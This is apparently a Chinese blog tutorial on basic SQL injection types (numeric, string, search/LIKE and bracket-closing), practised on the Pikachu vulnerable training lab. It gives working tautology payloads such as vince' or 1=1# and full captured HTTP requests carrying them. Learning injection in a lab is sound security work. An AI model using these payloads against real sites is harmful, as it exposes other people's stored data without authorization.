目录
基础数据类型SQL注入
字符类型注入
单引号双引号解释
案例练习:
数字类型注入
案例
搜索性注入:
案例
XX性注入:
语句
案例
基础SQL注入类型分类
基础数据类型SQL注入
字符类型注入
'xxx' or 1=1 #
select id,email from member where username=xx' or 1=1 #'
-----------------------------------转化成True 查询所有username
select id,email from member where username= True #'
-----------------------------------' 处于前面闭合状态
-- # 注释得作用
select id,email form member where username = "vince" and 1=1 ''#
------------------------------------select id,email from member where username='vince or 1=1'#;
select id email from member where username = ‘vince’
单引号双引号解释
-
这个语句的 vince or 1=1 '# 是直接被认作字符串
-
我们在vince后面添加单引号来闭合vince
-
再在1=1后面添加注释#来消除掉后面的单引号
-
#和--是mysql的sql语句注释符号
-
这样来完成一个SQL语句的拼接合法性
-
完整的语句为
-
-
select id,email from member where username='vince' or 1=1#';
-
我们回到pikachu平台输入 vince' or 1=1#
案例练习:
这里说一下编码的问题
GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
- get请求有很多%XXX,这个是URL编码
- 为什么get请求在URL地址上会有一些是URL编码了
- 这个简单的说,就是避免输入的一些特殊字符与其它代码关键字起冲突,所以HTTP协议会将一些特殊字符转义成URL编码
- 所以我们在做GET请求的类型的sql注入的时候是需要注意URL编码格式的
- 至于这个格式如何转移?
- 很简单的一个办法就是拿到在线编码格式转移工具转移一下就可以了。
- 在线转移工具很多这个自己搜索在线编码工具就可以了有很多很多。
GET /pikachu/vul/sqli/sqli_str.php?name=vince'+or+1%3D1%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_str.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i
数字类型注入
语句
mysql> select username,email from member where id=1;
mysql> select username,email from member where id=1 or 1=1;
案例
- 这里可以看到我们在请求参数中修改 传入注入语句并没有修改成URL编码格式,就可以注入成功.
- 这是为什么了?
- 么有为什么,因为URL编码仅限于get请求这个记住就可以了。
POST /pikachu/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.1.10
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_id.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, iid=1 or 1=1 #&submit=%E6%9F%A5%E8%AF%A2
搜索性注入:
- 在说搜索类型注入之前,我们要只是到sql语句中like是干嘛的?
- 也就是模糊匹配的作用
- %在最字符串最前面那么就模糊匹配后面的字符串就可
- 字符串没有% 那么就说明是全匹配对应字符串
- 前后%% 这说明 匹配只要中间有那个字符串的字符至于字符串前后是啥不管
- %在字符串最后面,则说明匹配字符串不管最后是什么只要前面的字符串符合标准就可以了
Select id,email from member where username like ‘%vin’
Select id,email from member where username like ‘vin%’
Select id,email from member where username like ‘%vin%’
-
select username,id,email from member where username like '%%' or 1=1 #%'
-
注意: 这里的 %' or 1=1 #%' 虽然单引号可以闭合 但是很多时候还是需要闭合%
-
也就是搜索性要多注意%的闭合
-
-
-
%%闭合也就是为了查询到更多的数据
%xxxx%' or 1=1 #%'
xxxx%' or 1=1 #%'
案例
GET /pikachu/vul/sqli/sqli_search.php?name=%25%27+or+1%3D1+%23&submit=%E6%90%9C%E7%B4%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_search.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i
XX性注入:
select * from member where username=('vince') ;
select * from member where username=('xx') or 1=1;
select id,email from member where username=('') or 1=1 #')
语句
') or 1=1 #')
Xx注入 注意小括号的闭合状态
以上就是基本的数据类型
注入 数字 字符 搜索 xx 注入类型
案例
GET /pikachu/vul/sqli/sqli_x.php?name=%27%29+or+1%3D1+%23%27%29&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Host: 192.168.1.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://192.168.1.10/pikachu/vul/sqli/sqli_x.php
Cookie: PHPSESSID=2jvbqptqksfgi8dgik0jbo7j04; security_level=0
Upgrade-Insecure-Requests: 1
Priority: u=0, i
基础SQL注入类型分类
主要分为如下四类:
数字型
字符型
搜索型
xx型
喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。